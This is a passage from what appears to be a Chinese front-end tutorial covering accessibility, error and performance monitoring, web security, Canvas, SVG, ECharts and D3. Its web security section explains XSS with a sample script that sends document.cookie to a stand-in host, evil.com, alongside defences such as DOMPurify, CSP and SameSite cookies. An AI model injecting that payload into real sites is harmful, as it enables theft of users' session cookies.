// ARIA 的第一原则:能用原生 HTML 就不用 ARIA
// ❌ <div role="button"> → ✅ <button>
// ❌ <div role="checkbox"> → ✅ <input type="checkbox">

键盘导航

// 所有交互元素必须可以用键盘操作

// 基本键盘操作:
// Tab         → 移动到下一个可聚焦元素
// Shift+Tab   → 移动到上一个可聚焦元素
// Enter/Space → 激活按钮、勾选复选框
// Escape      → 关闭弹窗、取消操作
// 方向键       → 在列表、菜单、Tab 之间移动

// 焦点管理示例(弹窗)
function Modal({ isOpen, onClose, children }) {
  const closeRef = useRef()

  useEffect(() => {
    if (isOpen) {
      closeRef.current?.focus()  // 弹窗打开时聚焦关闭按钮
    }
  }, [isOpen])

  // 焦点陷阱:Tab 键只在弹窗内循环
  useEffect(() => {
    if (!isOpen) return
    const handleTab = (e) => {
      if (e.key !== 'Tab') return
      const focusable = document.querySelectorAll(
        'button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])'
      )
      const first = focusable[0]
      const last = focusable[focusable.length - 1]

      if (e.shiftKey && document.activeElement === first) {
        e.preventDefault()
        last.focus()
      } else if (!e.shiftKey && document.activeElement === last) {
        e.preventDefault()
        first.focus()
      }
    }
    document.addEventListener('keydown', handleTab)
    return () => document.removeEventListener('keydown', handleTab)
  }, [isOpen])

  if (!isOpen) return null
  return (
    <div role="dialog" aria-modal="true">
      <button ref={closeRef} onClick={onClose}>关闭</button>
      {children}
    </div>
  )
}

颜色与对比度

// 文字和背景的对比度至少 4.5:1(WCAG AA 标准)
// 大文字(18px+ 或 14px 加粗)至少 3:1

// ❌ 对比度不足
// #aaa on #fff = 2.32:1(灰色文字,看不清)
// #777 on #fff = 4.48:1(勉强)

// ✅ 对比度合格
// #595959 on #fff = 7.0:1
// #333 on #fff = 12.63:1

// 检查工具:WebAIM Contrast Checker(webaim.org/resources/contrastchecker)

// 不要只用颜色传达信息
// ❌ 红色文字表示错误(色盲用户分不清)
// ✅ 红色文字 + 错误图标 + 文字说明
<span class="error">
  <svg>⚠</svg> 邮箱格式不正确
</span>
无障碍测试工具

1)Lighthouse(Chrome DevTools 内置)——一键审计无障碍评分;2)axe DevTools(Chrome 插件)——详细列出每个无障碍问题;3)屏幕阅读器——NVDA(Windows 免费)、VoiceOver(macOS/iOS 内置);4)键盘测试——拔掉鼠标,只用键盘操作整个网站。

无障碍的商业价值

1)法律合规——很多国家要求网站达到 WCAG 2.1 AA 标准;2)更多用户——10 亿残障人士是巨大的市场;3)更好的 SEO——语义化 HTML 让搜索引擎更容易理解内容;4)更好的用户体验——无障碍设计对所有人都有益。

Skip Navigation Link(跳过导航链接)

// 问题:屏幕阅读器用户每次都要 Tab 过整个导航栏才能到达正文
// 解决:在页面最顶部放一个"跳到主内容"的链接

// HTML
<body>
  <a href="#main-content" class="skip-link">跳到主内容</a>
  <nav>
    <a href="/">首页</a>
    <a href="/products">产品</a>
    <a href="/about">关于</a>
  </nav>
  <main id="main-content">
    <h1>页面标题</h1>
  </main>
</body>

// CSS:默认隐藏,获得焦点时显示
.skip-link {
  position: absolute;
  top: -40px;           // 隐藏在屏幕外
  left: 0;
  padding: 8px 16px;
  background: var(--accent);
  color: white;
  z-index: 100;
  transition: top 0.2s;
}
.skip-link:focus {
  top: 0;               // Tab 聚焦时滑入视口
}

// 多个跳转目标(大型网站)
<a href="#main-content" class="skip-link">跳到主内容</a>
<a href="#search" class="skip-link">跳到搜索</a>
<a href="#footer-nav" class="skip-link">跳到底部导航</a>

aria-live 动态通知

// 问题:JS 动态更新的内容,屏幕阅读器不会自动朗读
// 解决:用 aria-live 告知浏览器"这里会有动态变化"

// polite:等当前朗读结束后再通知(适合一般更新)
<div aria-live="polite" aria-atomic="true">
  搜索到 {count} 条结果
</div>

// assertive:立即中断当前朗读(适合紧急通知)
<div role="alert" aria-live="assertive">
  网络连接已断开,请检查网络
</div>

// React 实践:表单验证消息
function FormField({ error }) {
  return (
    <div>
      <label htmlFor="email">邮箱</label>
      <input id="email" type="email" aria-describedby="email-error" />
      <div id="email-error" aria-live="polite">
        {error && <span className="error">{error}</span>}
      </div>
    </div>
  )
}
// 当 error 从空变为有值时,屏幕阅读器会自动朗读错误信息

aria-current 标记当前项

// 标记列表/导航中的"当前"项,屏幕阅读器会朗读"当前页"

// 导航栏当前页
<nav aria-label="主导航">
  <a href="/">首页</a>
  <a href="/products" aria-current="page">产品</a>
  <a href="/about">关于</a>
</nav>

// aria-current 的可选值
aria-current="page"      // 当前页
aria-current="step"      // 步骤条当前步骤
aria-current="date"      // 日历中选中的日期
aria-current="location"  // 流程中的当前位置
aria-current="true"      // 通用的"当前"标记

// React 路由实践
<NavLink to="/about" className={({ isActive }) =>
  isActive ? 'active' : ''
}>
  {({ isActive }) => (
    <span aria-current={isActive ? 'page' : undefined}>关于</span>
  )}
</NavLink>

inert 属性:让元素完全"消失"

// inert 属性:让元素及其所有子元素不可交互、不可聚焦、对辅助技术不可见
// 比 aria-hidden + tabindex="-1" 更彻底

// 场景 1:Modal 打开时,让背后内容 inert
<body>
  <div id="app" inert>
    <!-- 整个应用不可交互、不可 Tab 聚焦 -->
  </div>
  <div role="dialog" aria-modal="true">
    <!-- 只有 Modal 可以交互 -->
  </div>
</body>

// 场景 2:侧边栏折叠时,内容 inert
<aside>
  <nav inert={isCollapsed}>
    <a href="/dashboard">仪表盘</a>
    <a href="/settings">设置</a>
  </nav>
</aside>

// inert 的效果(所有子元素):
// 1. 不能被 Tab 聚焦
// 2. 点击事件不触发
// 3. 对屏幕阅读器完全不可见
// 4. 表单控件不能输入
// 5. <a> 链接不能激活

// 浏览器支持:Chrome 102+、Firefox 112+、Safari 15.5+
// 不支持的浏览器需要 polyfill:npm install wicg-inert

49. 前端监控与错误追踪

前端代码运行在用户的浏览器中,你无法直接看到用户的报错。前端监控就是"在用户端安装摄像头"——实时捕获错误、记录性能数据、追踪用户行为,让你知道线上发生了什么。

一个类比

没有监控的前端就像没有仪表盘的汽车——你不知道油量(错误率)、速度(性能)、里程(用户量)。出了问题只能等用户投诉。有了监控,就像装了完整的仪表盘——实时知道一切,提前发现问题。

监控的三个维度

1
错误监控——JS 报错、接口异常、白屏检测。核心:Sentry。
2
性能监控——加载速度、渲染性能、交互延迟。核心:Core Web Vitals。
3
行为监控——页面访问量、用户点击路径、转化率。核心:埋点。

Sentry 错误监控

// Sentry:最流行的前端错误监控平台
// 安装:pnpm add @sentry/react

import * as Sentry from '@sentry/react'

Sentry.init({
  dsn: 'https://xxx@sentry.io/xxx',
  environment: import.meta.env.MODE,    // 区分开发/生产环境
  tracesSampleRate: 0.1,                // 10% 的性能数据
  replaysSessionSampleRate: 0.1,        // 10% 的会话录屏
  replaysOnErrorSampleRate: 1.0         // 错误时 100% 录屏
})

// 自动捕获:未处理的 Promise rejection、未捕获的错误
// 手动捕获:
try {
  riskyOperation()
} catch (error) {
  Sentry.captureException(error, {
    tags: { feature: 'payment' },       // 标签(方便过滤)
    user: { id: '123', email: '...' }   // 用户信息
  })
}

// 添加面包屑(错误发生前的操作记录)
Sentry.addBreadcrumb({
  category: 'navigation',
  message: '用户从首页跳转到商品详情',
  level: 'info'
})

// React 错误边界
import { ErrorBoundary } from '@sentry/react'

function App() {
  return (
    <ErrorBoundary fallback={<ErrorPage />}>
      <Router />
    </ErrorBoundary>
  )
}

性能监控(Core Web Vitals)

// 安装:pnpm add web-vitals
import { onCLS, onINP, onLCP } from 'web-vitals'

// 发送到分析后端
function sendToAnalytics(metric) {
  const body = JSON.stringify({
    name: metric.name,      // 指标名称
    value: metric.value,    // 指标值
    rating: metric.rating,  // 'good' | 'needs-improvement' | 'poor'
    page: location.pathname,
    userAgent: navigator.userAgent
  })

  // 使用 sendBeacon(页面关闭时也能发送)
  navigator.sendBeacon('/api/vitals', body)
}

onLCP(sendToAnalytics)  // 最大内容绘制(≤2.5s 良好)
onINP(sendToAnalytics)  // 交互延迟(≤200ms 良好)
onCLS(sendToAnalytics)  // 布局偏移(≤0.1 良好)

用户行为埋点

// 埋点类型:
// 1. 代码埋点:手动在关键位置调用 track()
// 2. 自动埋点:通过全局事件监听自动采集
// 3. 可视化埋点:在后台圈选元素,不需要写代码

// 代码埋点示例
const track = (event, data = {}) => {
  const payload = {
    event,
    ...data,
    timestamp: Date.now(),
    page: location.pathname,
    userId: getCurrentUserId()
  }
  // 用 sendBeacon 防止页面关闭时丢失数据
  navigator.sendBeacon('/api/analytics', JSON.stringify(payload))
}

// 页面访问(PV)
track('page_view', { referrer: document.referrer })

// 按钮点击
track('button_click', { button: 'add_to_cart', productId: '123' })

// 搜索
track('search', { keyword: '手机', resultCount: 42 })

// 自动采集页面停留时间
let pageEnterTime = Date.now()
window.addEventListener('beforeunload', () => {
  track('page_leave', { duration: Date.now() - pageEnterTime })
})
监控接入优先级

1)先接错误监控(Sentry)——知道用户在报什么错是第一优先级;2)再接性能监控(Core Web Vitals)——知道页面快不快;3)最后接行为埋点——知道用户在做什么。不要一开始就追求完整的埋点方案,先保证能看到错误。

Performance Observer API

// Performance Observer 可以监听浏览器性能事件,无需轮询
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log(`${entry.name}: ${entry.startTime.toFixed(1)}ms`)
    console.log(`类型: ${entry.entryType}`) // resource, paint, longtask...
  }
})

// 监听长任务(阻塞主线程超过 50ms 的任务)
observer.observe({ type: 'longtask', buffered: true })

// 监听资源加载
const resObserver = new PerformanceObserver((list) => {
  list.getEntries().forEach(entry => {
    if (entry.duration > 1000) {
      console.warn(`慢资源: ${entry.name} 耗时 ${entry.duration}ms`)
    }
  })
})
resObserver.observe({ type: 'resource', buffered: true })

performance.mark() / performance.measure() 自定义指标

// 标记业务关键时间节点,精确测量自定义性能
performance.mark('checkout-start')

await processPayment(order)

performance.mark('checkout-end')

// 计算两个标记之间的时间差
const measure = performance.measure(
  'checkout-duration',      // 指标名称
  'checkout-start',         // 起始标记
  'checkout-end'            // 结束标记
)
console.log(`结账耗时: ${measure.duration.toFixed(0)}ms`)

// 上报到监控平台
sendToAnalytics({
  name: 'checkout_duration',
  value: measure.duration
})

Source Maps 上传与错误还原

// 生产环境代码被压缩后,错误堆栈无法定位源码
// Source Map 让监控平台把压缩代码还原为源码

// Sentry CLI 上传 Source Map(通常在 CI/CD 中执行)
// npx sentry-cli releases files <version> upload-sourcemaps ./dist

// vite.config.ts 中生成 Source Map
export default defineConfig({
  build: {
    sourcemap: 'hidden'  // 生成但不暴露 .map 文件 URL
  }
})

// Sentry 配置中指定已发布的 release 版本
Sentry.init({
  dsn: 'https://xxx@sentry.io/xxx',
  release: 'my-app@1.2.3',     // 与上传 Source Map 时的版本一致
  environment: 'production'
})

RUM(Real User Monitoring)

// RUM 采集真实用户的性能数据,而非实验室数据
// 与 Lighthouse 等实验室工具互补

// RUM 核心采集项:
// 1. 页面加载性能 —— TTFB、FCP、LCP
// 2. 交互响应性能 —— INP(Interaction to Next Paint)
// 3. 视觉稳定性 —— CLS(Cumulative Layout Shift)
// 4. 网络质量 —— 用户的带宽、延迟、丢包率
// 5. 设备信息 —— CPU、内存、屏幕尺寸

// 简易 RUM 采集示例
const rumData = {
  ttfb: performance.timing.responseStart - performance.timing.requestStart,
  fcp: performance.getEntriesByName('first-contentful-paint')[0]?.startTime,
  deviceMemory: navigator.deviceMemory,   // GB(仅 Chrome)
  connection: navigator.connection?.effectiveType  // 4g, 3g...
}
navigator.sendBeacon('/api/rum', JSON.stringify(rumData))
实验室数据 vs 真实数据

Lighthouse 给出的是实验室数据(固定设备、固定网络),而 RUM 采集的是真实用户数据。两者都很重要:实验室数据用于开发阶段快速迭代,RUM 数据用于发现线上真实问题。很多用户可能在 3G 网络、低端手机上访问你的网站,这些场景只有 RUM 能捕获。

50. Web 安全

前端安全的核心原则:永远不要信任用户输入。用户输入的任何内容(表单、URL 参数、Cookie)都可能是恶意的。这一章介绍最常见的前端攻击和防御方法。

一个类比

Web 安全就像门禁系统。XSS 是有人冒充住户混进大楼(注入恶意脚本)。CSRF 是有人拿着你的门禁卡偷偷进入(利用你的登录状态)。防御方法:验证身份(Token)、限制权限(CSP)、检查来源(Origin)。

XSS(跨站脚本攻击)

// XSS:攻击者在页面中注入恶意脚本,窃取用户数据

// 类型 1:存储型 XSS(最危险)
// 攻击者在评论区输入 <script>fetch('https://evil.com?cookie='+document.cookie)</script>
// 其他用户浏览时,脚本自动执行,Cookie 被偷

// 类型 2:反射型 XSS
// 攻击者构造恶意 URL:https://site.com/search?q=<script>alert('xss')</script>
// 如果页面直接渲染 URL 参数,脚本执行

// 类型 3:DOM 型 XSS
// 通过修改 DOM 注入脚本

// 防御:

// ❌ 危险:直接渲染用户输入
div.innerHTML = userInput  // 如果 userInput 是 <script>alert('hacked')</script>

// ✅ 安全:使用 textContent(纯文本,不解析 HTML)
div.textContent = userInput

// ✅ 安全:React/Vue 默认转义(自动防 XSS)
<p>{userInput}</p>      // React 自动转义 < > &
<p>{{ userInput }}</p>  // Vue 自动转义

// ✅ 安全:如果必须渲染 HTML,用 DOMPurify 过滤
import DOMPurify from 'dompurify'
div.innerHTML = DOMPurify.sanitize(userInput)  // 移除所有危险标签和属性

// ✅ 安全:设置 CSP(Content Security Policy)头
// 限制页面能加载的资源来源
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
// 禁止内联脚本、禁止 eval、只允许加载同源资源

CSRF(跨站请求伪造)

// CSRF:攻击者诱导用户在已登录的网站上执行操作

// 攻击场景:
// 1. 你登录了银行网站(bank.com),Cookie 中有登录凭证
// 2. 你访问了恶意网站(evil.com)
// 3. 恶意网站的 JS 自动向 bank.com 发送转账请求
// 4. 浏览器自动带上 bank.com 的 Cookie,银行以为是你操作的

// 防御方案:

// 1. SameSite Cookie(最简单,推荐)
Set-Cookie: token=xxx; SameSite=Strict; HttpOnly; Secure
// SameSite=Strict:跨站请求完全不带 Cookie
// SameSite=Lax:跨站 GET 请求带 Cookie,POST 不带

// 2. CSRF Token(传统方案)
// 后端生成随机 token,嵌入页面的隐藏表单字段
// 提交时后端验证 token 是否匹配
<input type="hidden" name="_csrf" value="abc123" />

// 3. 检查 Origin/Referer 头
// 后端验证请求来源是否合法
if (request.headers.origin !== 'https://myapp.com') {
  return res.status(403).send('Forbidden')
}

其他常见攻击

// 点击劫持(Clickjacking)
// 攻击者用 iframe 嵌入你的页面,覆盖在透明按钮下面
// 用户以为点了"领取奖品",实际点了"确认转账"

// 防御:设置 X-Frame-Options 头
X-Frame-Options: DENY                        // 禁止被 iframe 嵌入
X-Frame-Options: SAMEORIGIN                  // 只允许同源 iframe

// 或用 CSP
Content-Security-Policy: frame-ancestors 'none'

// 中间人攻击(MITM)
// 攻击者在用户和服务器之间截获通信

// 防御:全站 HTTPS
// 在前端检查是否 HTTPS
if (location.protocol !== 'https:' && location.hostname !== 'localhost') {
  location.replace(`https://${location.host}${location.pathname}`)
}
前端安全清单

1)永远不要信任用户输入——所有用户输入都要校验和转义;2)不要用 innerHTML 渲染用户输入;3)不要在前端存储敏感信息(密码、密钥);4)全站 HTTPS;5)设置 CSP 头(禁止内联脚本);6)Cookie 设置 HttpOnly(JS 无法读取)、Secure(只在 HTTPS 传输)、SameSite;7)敏感操作(转账、改密码)需要二次验证。

CSP 详解:nonce 与 hash

CSP(Content Security Policy)可以精确控制页面能执行哪些脚本:

// CSP 默认禁止所有内联脚本和 eval
Content-Security-Policy: default-src 'self'

// 方案 1:nonce(每次请求生成随机值)
// 服务端在响应头中设置 nonce,只有带该 nonce 的脚本可以执行
Content-Security-Policy: script-src 'nonce-abc123def456'
// HTML 中:
// <script nonce="abc123def456">合法的内联脚本</script>
// <script>恶意注入的脚本(没有 nonce,被 CSP 阻止)</script>

// 方案 2:hash(对脚本内容计算 SHA-256)
Content-Security-Policy: script-src 'sha256-BpfBw7ivV8y22fSgjA2AiCe7JkE81NbeK2H91123abc='
// 只有内容 hash 匹配的脚本可以执行

// 方案 3:严格 CSP(推荐)
// 使用 nonce + 严格动态(strict-dynamic)
Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic'
// nonce 信任的脚本动态加载的其他脚本也可以执行
// 这是最安全也最实用的方案

SRI 子资源完整性

从 CDN 加载的 JS/CSS 文件可能被篡改(CDN 被攻击)。SRI 确保加载的文件未被修改:

// 在 script/link 标签上添加 integrity 属性
// 浏览器会计算文件的 hash,与 integrity 值比对
// 不匹配则阻止加载

// 计算 hash(在终端执行)
// openssl dgst -sha384 -binary your-file.js | openssl base64 -A

// HTML 中使用
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-abc123..."
  crossorigin="anonymous"
></script>

<link
  rel="stylesheet"
  href="https://cdn.example.com/style.css"
  integrity="sha384-def456..."
  crossorigin="anonymous"
/&>

// ⚠️ 注意:SRI 要求 crossorigin 属性
// 因为浏览器对跨域资源默认不检查完整性

Permissions-Policy 权限策略

// Permissions-Policy 控制页面可以使用哪些浏览器 API
// 防止第三方脚本滥用摄像头、麦克风、定位等权限

// 禁止所有权限(除非明确允许)
Permissions-Policy: camera=(), microphone=(), geolocation=()

// 只允许同源使用摄像头
Permissions-Policy: camera=(self)

// 禁止第三方 iframe 使用某些 API
Permissions-Policy: camera=(self), microphone=(self), geolocation=(self)

// 常见受控权限:
// camera(摄像头)、microphone(麦克风)、geolocation(定位)
// payment(支付)、usb(USB)、fullscreen(全屏)
// interest-cohort(FLoC 广告追踪)

postMessage 安全通信

跨 iframe 通信时必须验证消息来源:

// ❌ 危险:不检查来源
window.addEventListener('message', (event) => {
  // 任何页面都可以发消息过来
  const data = event.data
  document.body.innerHTML = data.content  // XSS!
})

// ✅ 安全:检查来源和数据格式
window.addEventListener('message', (event) => {
  // 1. 验证来源
  if (event.origin !== 'https://trusted-site.com') return

  // 2. 验证数据格式
  if (typeof event.data !== 'object' || !event.data.type) return

  // 3. 根据类型处理
  switch (event.data.type) {
    case 'update':
      handleUpdate(event.data.payload)
      break
  }
})

// 发送消息时指定目标 origin(不要用 *)
iframe.contentWindow.postMessage(data, 'https://trusted-site.com')
供应链安全

2026 年的 npm 生态中,供应链攻击是真实威胁。恶意包通过依赖链感染你的项目。防御措施:1)用 npm audit / pnpm audit 定期检查已知漏洞;2)锁定依赖版本(pnpm-lock.yaml 必须提交到 Git);3)用 Socket.dev 检测包的异常行为;4)避免安装下载量极低或维护者不明的包;5)使用 .npmrc 配置 ignore-scripts=true 防止安装时执行恶意脚本。

第七部分 · 数据可视化

51. Canvas 基础

Canvas 是 HTML5 提供的画布元素,可以用 JavaScript 在上面绘制任意图形、动画和交互。和 SVG 不同,Canvas 是基于像素的——画完之后浏览器只看到一堆像素,不知道你画了什么。这意味着性能很好(适合大量图形),但交互需要自己计算坐标。

一个类比

Canvas 就像一张白纸,JavaScript 就是你的画笔。你用代码"画"出每一个像素——线条、圆形、图片、文字。画完之后,浏览器只看到一堆像素(光栅图),放大就模糊。SVG 则是矢量图——放大多少倍都清晰。

Canvas 基础 API

<canvas id="myCanvas" width="800" height="600"></canvas>

<script>
const canvas = document.getElementById('myCanvas')
const ctx = canvas.getContext('2d')  // 获取 2D 绘图上下文

// === 基本图形 ===

// 矩形
ctx.fillStyle = '#2563eb'           // 填充颜色
ctx.fillRect(50, 50, 200, 100)     // fillRect(x, y, width, height)
ctx.strokeStyle = '#000'            // 描边颜色
ctx.lineWidth = 2                   // 线宽
ctx.strokeRect(50, 50, 200, 100)   // 描边矩形
ctx.clearRect(100, 100, 50, 50)    // 清除矩形区域

// 圆形
ctx.beginPath()
ctx.arc(400, 300, 80, 0, Math.PI * 2)  // arc(x, y, r, startAngle, endAngle)
ctx.fillStyle = '#16a34a'
ctx.fill()
ctx.stroke()

// 线条
ctx.beginPath()
ctx.moveTo(50, 400)                 // 移动到起点
ctx.lineTo(200, 350)               // 画到终点
ctx.lineTo(350, 400)
ctx.strokeStyle = '#d97706'
ctx.lineWidth = 3
ctx.stroke()

// 文字
ctx.font = '24px sans-serif'       // 字体
ctx.fillStyle = '#1a1d21'
ctx.textAlign = 'center'           // 对齐方式
ctx.fillText('Hello Canvas!', 400, 500)  // fillText(text, x, y)

// 图片
const img = new Image()
img.src = 'logo.png'
img.onload = () => {
  ctx.drawImage(img, 50, 350, 100, 100)  // drawImage(img, x, y, w, h)
}
</script>

Canvas 动画

<script>
const canvas = document.getElementById('myCanvas')
const ctx = canvas.getContext('2d')

// 球体弹跳动画
let x = 100, y = 100, vx = 3, vy = 2, radius = 20

function animate() {
  // 1. 清空画布
  ctx.clearRect(0, 0, canvas.width, canvas.height)

  // 2. 更新位置
  x += vx
  y += vy

  // 3. 碰撞检测
  if (x + radius > canvas.width || x - radius < 0) vx = -vx
  if (y + radius > canvas.height || y - radius < 0) vy = -vy

  // 4. 绘制
  ctx.beginPath()
  ctx.arc(x, y, radius, 0, Math.PI * 2)
  ctx.fillStyle = '#2563eb'
  ctx.fill()

  // 5. 请求下一帧
  requestAnimationFrame(animate)
}

animate()
</script>

// requestAnimationFrame 的优势:
// 1. 与浏览器刷新率同步(通常 60fps)
// 2. 页面不可见时自动暂停(省电)
// 3. 比 setTimeout/setInterval 更流畅

Canvas 交互

// Canvas 是像素,交互需要自己计算坐标

canvas.addEventListener('click', (e) => {
  // 获取点击位置(相对于 canvas)
  const rect = canvas.getBoundingClientRect()
  const x = e.clientX - rect.left
  const y = e.clientY - rect.top

  // 检测是否点击了某个圆形
  const dx = x - circleX
  const dy = y - circleY
  if (dx * dx + dy * dy < radius * radius) {
    console.log('点击了圆形!')
  }
})

// 高 DPI 屏幕适配(防止模糊)
const dpr = window.devicePixelRatio || 1
canvas.width = 800 * dpr
canvas.height = 600 * dpr
canvas.style.width = '800px'
canvas.style.height = '600px'
ctx.scale(dpr, dpr)
Canvas vs SVG 怎么选

1)大量图形(1000+ 个粒子、游戏)→ 用 Canvas(像素操作,性能好);2)需要交互(点击、悬停单个图形)→ 用 SVG(每个元素是 DOM 节点);3)需要缩放不失真 → 用 SVG(矢量图);4)图表库:ECharts 默认用 Canvas,D3 默认用 SVG。

52. SVG 与矢量图形

SVG(Scalable Vector Graphics)是用 XML 描述的矢量图形。和 Canvas 的像素图不同,SVG 放大缩小永远不会模糊——因为它是用数学公式描述的线条和形状。适合图标、Logo、图表、地图。

SVG 基本图形

<svg width="400" height="300" viewBox="0 0 400 300">
  <!-- 矩形 -->
  <rect x="10" y="10" width="100" height="60" fill="#2563eb" rx="8" />
  <!-- rx: 圆角半径 -->

  <!-- 圆形 -->
  <circle cx="200" cy="80" r="40" fill="#16a34a" />
  <!-- cx, cy: 圆心坐标; r: 半径 -->

  <!-- 椭圆 -->
  <ellipse cx="320" cy="80" rx="60" ry="30" fill="#d97706" />

  <!-- 线条 -->
  <line x1="10" y1="150" x2="390" y2="150" stroke="#ccc" stroke-width="2" />

  <!-- 折线 -->
  <polyline points="10,200 100,180 200,220 300,170 390,200"
    fill="none" stroke="#dc2626" stroke-width="2" />

  <!-- 多边形 -->
  <polygon points="200,240 240,280 160,280" fill="#7c3aed" />

  <!-- 路径(最强大,可以画任意形状) -->
  <path d="M10 250 Q100 200 200 250 T390 250" stroke="#d97706" fill="none" stroke-width="3" />
  <!-- M: 移动到; L: 直线到; Q: 二次贝塞尔曲线; C: 三次贝塞尔曲线; Z: 闭合 -->

  <!-- 文字 -->
  <text x="200" y="295" text-anchor="middle" font-size="16" fill="#333">
    SVG 基本图形
  </text>
</svg>

SVG 的优势

<!-- 1. 矢量:放大缩小不失真 -->
<svg width="100" height="100" viewBox="0 0 100 100">
  <circle cx="50" cy="50" r="40" fill="#2563eb" />
</svg>
<!-- 无论放大多少倍,圆形边缘始终平滑 -->

<!-- 2. DOM 节点:可以用 CSS 样式化 -->
<style>
.icon { fill: #2563eb; transition: fill 0.2s; }
.icon:hover { fill: #1d4ed8; transform: scale(1.1); }
</style>
<svg class="icon" width="24" height="24" viewBox="0 0 24 24">
  <path d="M12 2L2 7l10 5 10-5-10-5zM2 17l10 5 10-5M2 12l10 5 10-5" />
</svg>

<!-- 3. 可以用 JS 绑定事件 -->
<svg>
  <circle cx="100" cy="100" r="50" class="clickable" />
</svg>
<script>
document.querySelector('.clickable').addEventListener('click', (e) => {
  e.target.setAttribute('fill', 'red')
})
</script>

<!-- 4. 可以用 CSS 和 JS 做动画 -->
<style>
@keyframes rotate {
  to { transform: rotate(360deg); }
}
.spinner { animation: rotate 2s linear infinite; transform-origin: center; }
</style>
<svg class="spinner" width="40" height="40" viewBox="0 0 40 40">
  <circle cx="20" cy="20" r="16" fill="none" stroke="#2563eb"
    stroke-width="4" stroke-dasharray="80" stroke-dashoffset="60" />
</svg>
SVG 图标方案

2026 年推荐用 SVG 图标组件(如 Lucide、Heroicons)而不是 icon font。优势:1)矢量不失真;2)可以用 CSS 控制颜色和大小;3)按需引入,不加载整个图标库;4)无障碍更好(可以加 aria-label)。安装:pnpm add lucide-react,使用:<LucideHome size={20} color="blue" />。

53. 图表库 ECharts

ECharts 是百度开源的图表库,功能最全、中文文档最好、国内使用最广。支持 20+ 种图表类型,内置交互功能(缩放、拖拽、数据筛选)。

基础用法

// 安装:pnpm add echarts
import * as echarts from 'echarts'
import { useEffect, useRef } from 'react'

function SalesChart({ data }) {
  const chartRef = useRef(null)

  useEffect(() => {
    const chart = echarts.init(chartRef.current)

    chart.setOption({
      title: { text: '月度销售额', left: 'center' },
      tooltip: { trigger: 'axis' },
      legend: { top: 30 },
      grid: { top: 60, bottom: 30 },
      xAxis: { type: 'category', data: data.months },
      yAxis: { type: 'value', name: '万元' },
      series: [{
        name: '销售额',
        type: 'bar',
        data: data.values,
        itemStyle: { color: '#2563eb', borderRadius: [4, 4, 0, 0] },
        label: { show: true, position: 'top' }
      }]
    })

    // 响应窗口大小变化
    const handleResize = () => chart.resize()
    window.addEventListener('resize', handleResize)

    return () => {
      chart.dispose()
      window.removeEventListener('resize', handleResize)
    }
  }, [data])

  return <div ref={chartRef} style={{ width: '100%', height: '400px' }} />
}

常用图表类型

// 折线图
series: [{ type: 'line', data: [150, 230, 224, 218, 135, 147], smooth: true }]

// 饼图
series: [{
  type: 'pie',
  data: [
    { value: 1048, name: '搜索引擎' },
    { value: 735, name: '直接访问' },
    { value: 580, name: '邮件营销' }
  ],
  radius: ['40%', '70%']  // 环形图
}]

// 散点图
series: [{ type: 'scatter', data: [[10, 8], [20, 15], [30, 22]] }]

// 雷达图
series: [{
  type: 'radar',
  data: [{ value: [80, 90, 70, 85, 95], name: '能力评估' }]
}]

// 混合图表(柱状图 + 折线图)
series: [
  { type: 'bar', name: '销售额', data: [...] },
  { type: 'line', name: '增长率', yAxisIndex: 1, data: [...] }
]

按需引入(减小体积)

// 完整版 ~1MB,按需引入可以减到 200KB
import * as echarts from 'echarts/core'
import { BarChart, LineChart, PieChart } from 'echarts/charts'
import { TitleComponent, TooltipComponent, GridComponent, LegendComponent } from 'echarts/components'
import { CanvasRenderer } from 'echarts/renderers'

echarts.use([BarChart, LineChart, PieChart, TitleComponent, TooltipComponent, GridComponent, LegendComponent, CanvasRenderer])
ECharts 优化

ECharts 体积较大(完整版 ~1MB)。使用按需引入减小体积:import * as echarts from 'echarts/core',然后只引入需要的图表类型和组件。图表数据量大时(10000+ 点),开启 large: true 和 largeThreshold: 2000。

54. 高级可视化 D3.js

D3.js(Data-Driven Documents)是最强大的数据可视化库。和 ECharts 不同,D3 不提供现成的图表——它给你一套"数据驱动 DOM"的底层工具,让你自由创造任何可视化效果。适合需要高度定制化的场景(自定义图表、地图、网络图、力导向图)。

一个类比

ECharts 像一个图表超市——你进去选一个柱状图、饼图,填数据就能用。D3 像一个画材店——给你颜料、画笔、画布,你自己画。ECharts 方便但定制性有限,D3 灵活但学习曲线陡峭。

D3 的核心思想

// D3 的核心:数据 → 绑定 → 创建/更新/删除元素

// 1. 选择元素
const svg = d3.select('#chart')      // 选一个
const items = d3.selectAll('.item')  // 选所有

// 2. 绑定数据
const circles = svg.selectAll('circle')
  .data(dataset)  // 把数据绑定到 DOM 元素

// 3. Enter(新数据,没有对应 DOM)
circles.enter()
  .append('circle')
  .attr('cx', d => d.x)
  .attr('cy', d => d.y)
  .attr('r', d => d.r)
  .attr('fill', '#2563eb')

// 4. Update(已有数据,更新 DOM)
circles
  .attr('cx', d => d.x)
  .attr('cy', d => d.y)

// 5. Exit(删除的数据)
circles.exit().remove()

// 6. join(简写,推荐)
svg.selectAll('circle')
  .data(dataset)
  .join('circle')                    // 自动处理 enter + update + exit
  .attr('cx', d => d.x)
  .attr('cy', d => d.y)
  .attr('r', d => d.r)

比例尺(Scales)

// 比例尺:把数据值映射到像素值
// 例如:数据范围 [0, 100] → 像素范围 [0, 600]

// 线性比例尺
const x = d3.scaleLinear()
  .domain([0, 100])    // 数据范围
  .range([0, 600])     // 像素范围

x(50)   // → 300
x(100)  // → 600

// 序数比例尺(离散值)
const color = d3.scaleOrdinal()
  .domain(['苹果', '香蕉', '橙子'])
  .range(['#ff0000', '#ffff00', '#ff8800'])

color('苹果')  // → '#ff0000'

// 带宽比例尺(柱状图用)
const x = d3.scaleBand()
  .domain(['A', 'B', 'C'])
  .range([0, 600])
  .padding(0.2)

x('A')          // → 柱子的 x 坐标
x.bandwidth()   // → 柱子的宽度

React + D3 的最佳实践

// 问题:D3 操作 DOM,React 也操作 DOM,两者冲突
// 解决方案:让 React 管 DOM,D3 只做计算

function BarChart({ data }) {
  const svgRef = useRef()

  useEffect(() => {
    const svg = d3.select(svgRef.current)
    const width = 600, height = 400, margin = 40

    // D3 做计算
    const x = d3.scaleBand()
      .domain(data.map(d => d.name))
      .range([margin, width - margin])
      .padding(0.2)

    const y = d3.scaleLinear()
      .domain([0, d3.max(data, d => d.value)])
      .range([height - margin, margin])

